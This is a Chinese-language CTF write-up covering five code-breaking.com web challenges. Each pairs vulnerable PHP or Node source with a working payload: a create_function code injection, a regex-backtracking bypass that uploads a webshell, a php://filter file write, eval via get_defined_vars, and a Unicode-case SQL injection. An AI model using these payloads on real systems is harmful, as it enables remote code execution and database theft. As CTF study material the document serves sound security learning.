code-breaking writeup
感謝P師傅做的題目,https://code-breaking.com/
easy - function
環境: php 7.2.12、apache 2.4.25
<?php $action = $_GET['action'] ?? ''; $arg = $_GET['arg'] ?? ''; if(preg_match('/^[a-z0-9_]*$/isD', $action)) { show_source(__FILE__); } else { $action('', $arg); }
這個就是需要去尋找一些危險函式, create_function
比較符合,在php7.2是廢除,第一次看的時候還以為是移除,後面看了一下核心,發現還在.
然後通過fuzz出來函式前 \
繞過正則
http://51.158.75.42:8087/?action=%5ccreate_function&arg=2;}var_dump(file_get_contents(%22/var/www/flag_h0w2execute_arb1trary_c0de%22));/*
easy - pcrewaf
php 7.1.24、apache
<?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } if(empty($_FILES)) { die(show_source(__FILE__)); } $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']); $data = file_get_contents($_FILES['file']['tmp_name']); if (is_php($data)) { echo "bad request"; } else { @mkdir($user_dir, 0755); $path = $user_dir . '/' . random_int(0, 10) . '.php'; move_uploaded_file($_FILES['file']['tmp_name'], $path); header("Location: $path", true, 303); }
這題開始的正則判斷為
preg_match('/<\?.*[\(\`].*/is', $data);
所以還可以使用 include "php://filter/read=convert.base64-decode/resource=./10.php";
進行檔案包含getshell
事實上,php的貪婪匹配存在一個問題,當一個數據量特別大之後,中間的惡意字串是匹配不到的
所以可以生成一個檔案
reat_str = 'a' * 1000 * 1000 text = '<?php /*' + reat_str + '*/;echo "aaa";system($_GET["b"]);eval($_GET["a"]); /*' + reat_str + "*/?>" print text
easy - phpmagic
php 5.6.23、apache
<?php if(isset($_GET['read-source'])) { exit(show_source(__FILE__)); } define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR'])); if(!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755, true); } chdir(DATA_DIR); $domain = isset($_POST['domain']) ? $_POST['domain'] : ''; $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d'); ?> <div class="row"> <div class="col"> <pre class="mt-3"><?php if(!empty($_POST) && $domain): $command = sprintf("dig -t A -q %s", escapeshellarg($domain)); $output = shell_exec($command); $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES); $log_name = $_SERVER['SERVER_NAME'] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); } echo $output; endif; ?>
這個題目是以前說過的繞過死亡 exit
時候的一個技巧, file_put_contents
的檔名是可以使用 php
偽協議的,也就是說,可以對檔案內容進行 base64_decode
後再寫入檔案的
然後寫入檔案的字尾使用了 ofollow,noindex" target="_blank">另外一個小技巧 ,php在處理路徑的時候,會遞迴的刪除掉路徑中存在的 /.
POST / HTTP/1.1 Host: php domain=xxx&log=://filter/convert.base64-decode/resource=/var/www/html/data/d048eec664d8a61e7cdf1469ea8d1f31/aaad.php/.
為了好控制base64_decode的內容,把內容寫到了cname中
easy - phplimit
php 5.6.38、nginx
<?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } else { show_source(__FILE__); }
這題最早是出在rctf2018,使用的 getallheaders
去獲取http頭,然後使用 next
、 current
等函式運算元組來控制eval的內容,但是這個函式是 apache_request_headers
函式的別名,在nginx下沒這個函式時候
可以使用 get_defined_vars()
函式
http://51.158.75.42:8084/index.php/bbbbbbb?code=eval(next(current(get_defined_vars())));&b=var_dump(glob(%27/var/www/*%27));
另外在php 7.1下, getenv()
函式新增了無引數時會獲取服務段的env資料,這個時候也可以利用
easy - nodechr
function safeKeyword(keyword) { if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) { return keyword } return undefined } let username = safeKeyword(ctx.request.body['username']) let password = safeKeyword(ctx.request.body['password']) let jump = ctx.router.url('login') if (username && password) { let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`) if (user) { ctx.session.user = user jump = ctx.router.url('admin') } }
這個特性早在 p師傅部落格 就有所學習,通過fuzz可以發現(進行urldecode) %C4%B1
.toUpperCase為 i
, %C5%BF
為 s
所以可以進行注入
username=aaaaa&password=%27+un%C4%B1on+%C5%BFelect+1,(%C5%BFelect+flag+from+flags),'3